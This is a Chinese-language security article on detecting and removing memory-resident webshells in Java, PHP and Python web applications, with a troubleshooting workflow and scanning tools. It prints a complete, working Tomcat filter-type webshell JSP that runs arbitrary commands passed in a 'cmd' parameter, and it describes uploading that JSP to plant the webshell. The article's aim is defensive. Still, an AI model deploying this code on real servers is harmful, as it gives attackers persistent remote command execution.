先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。

还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。

另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马。

内存马排查思路:

如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。

  1. 如果是jsp注入,日志中排查可疑jsp的访问请求。
  2. 如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
  3. 根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
  4. 如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
  5. 如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

内存Webshell马详解_第32张图片

1. Filter内存马

Filter:FIlter为过滤器可以对用户的一些请求进行拦截修改等操作。当web.xml中注册了一个Filter来对某个 Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。

这里我们将公开的filter类型的内存马文件直接上传到tomcat网站下,访问内存马后就植入成功了,植入成功后在删掉相对的jsp文件也不会影响内存马的运行,但是重启tomcat服务器后内存马即失效。注入成功后在路径后加入?cmd=后跟命令即可。

内存马代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
 
 


 
 

<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
 
 
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
 
 
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
 
 
@Override
public void destroy() {
 
 
}
 
 
}
%>
 
 
 
 
<%
//从org.apache.catalina.core.ApplicationContext反射获取context方法
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
 
 
String name = "filterDemo";
//判断是否存在filterDemo1这个filter,如果没有则准备创建
if (filterConfigs.get(name) == null){
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
 
 
//添加filterDef
standardContext.addFilterDef(filterDef);
 
 
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/zzz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/zzz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
 
 
//反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
 
 
//将filter名和配置好的filterConifg传入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>

Filter检测思路:

  1. 带有特殊含义的filter的名字比如shell等。

  2. Filter的优先级,filter内存马需要将filter调至最高

  3. 查看web.xml中有没有filter配置

  4. 检测特殊的classloader

  5. 检测classloader路径下没有class文件

  6. 检测Filter中的doFilter方法是否有恶意代码

2. Java内存马查杀

这里推荐几款内存马查杀工具:

    • Tomcat 内存马检测https://www.anquanke.com/post/id/219177
    • 查杀Java web filter型内存马https://gv7.me/articles/2020/kill-java-web-filter-memshell/
    • Filter/Servlet型内存马的扫描抓捕与查杀https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/
    • 基于javaAgent内存马检测查杀指南https://www.77169.net/html/278275.html
    • https://github.com/alibaba/arthas
    • https://github.com/LandGrey/copagent
    • https://github.com/c0ny1/java-memshell-scanner
    • https://syst1m.com/post/memory-webshell/
  • java-memshell-scanner:通过jsp脚本扫描并查杀各类中间件内存马。

地址:GitHub - c0ny1/java-memshell-scanner: 通过jsp脚本扫描java web Filter/Servlet型内存马

只需要将tomcat-memshell-scanner.jsp放在可能被注入内存马的web录下,然后使用浏览器访问即可直接获得扫描结果。

内存Webshell马详解_第33张图片

  • cop.jar工具。 

地址:https://github.com/LandGrey/copagentcop.jar

工具使用思路:首先可以先看result.txt中标记高危的class,cop.jar工具会把所有的文件都还原成jsp文件,可以用D盾等webshell查杀工具进行扫描。

只需要将cop.jar工具放在运行tomcat的服务器上运行cop.jar工具会识别你正在运行的应用列举出来由你自己选择ID,运行后会在同目录下生成.copagent目录储存结果。

内存Webshell马详解_第34张图片

 

cop.jar运行结束生成.copagent目录结果:

内存Webshell马详解_第35张图片result.txt显示所有的类及危险等级: 

内存Webshell马详解_第36张图片

在java目录下或class文件夹下会保存木马以及运行的类: 

内存Webshell马详解_第37张图片

还原出哥斯拉的内存马: 

内存Webshell马详解_第38张图片

  • arthas-boot.jar

工具地址:https://github.com/alibaba/arthas

工具使用思路:arthas-boot.jar工具可以先排除可疑名字的servlet和filter节点,如攻击者隐藏的更深需要将所有的类都反编译导出来然后逐一排查。

是Alibaba开源的Java诊断工具,在线排场问题,无需重启;动态跟踪java代码;实时监控jvm状态。采用命令行交互模式,提供丰富的Tab自动补全功能,进一步方便进行问题的定位和诊断。

内存Webshell马详解_第39张图片

运行arthas工具:

内存Webshell马详解_第40张图片

mbean命令查看filter异常节点: 

内存Webshell马详解_第41张图片

sc命令可以查找到所有JVM已经加载到的类:

内存Webshell马详解_第42张图片

sc命令可以打印出类加载的具体信息: 

内存Webshell马详解_第43张图片

  • java VisualVM工具

一款免费的,集成了多个 JDK 命令行工具的可视化工具,它能为您提供强大的分析能力,对 Java 应用程序做性能分析和调优。这些功能包括生成和分析海量数据、跟踪内存泄漏、监控垃圾回收器、执行内存和 CPU 分析,同时它还支持在 MBeans 上进行浏览和操作。

安装JDK后会自带此工具需要用到VisualVM的MBeans插件。此工具可以在本地查看也可以通过远程查看,本次演示本地查看内存马。

内存Webshell马详解_第44张图片

VisualVM在JDK的bin目录下:

内存Webshell马详解_第45张图片

将下载好的MBeans插件导入进去: 

内存Webshell马详解_第46张图片 

在tomcat上配置参数:

内存Webshell马详解_第47张图片

点击添加JMX连接加上端口号即可: 

内存Webshell马详解_第48张图片

通过VisualVM找到测试filter型内存马: 

内存Webshell马详解_第49张图片

通过VisualVM找到测试servlet型内存马。 

2、PHP内存马检测

检测思路:

  1. 检查所有php进程处理请求的持续时间
  2. 检测执行文件是否在文件系统真实存在

3、Python内存马检测

检测思路:

  1. 查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:class ‘warnings.catch_warnings’、class 'site.Quitter'等。

  2. 检测self.add_url_rule()中特殊名字的路由如shell等。

你可能感兴趣的:(Web安全,渗透测试,APT,应急响应,java,开发语言)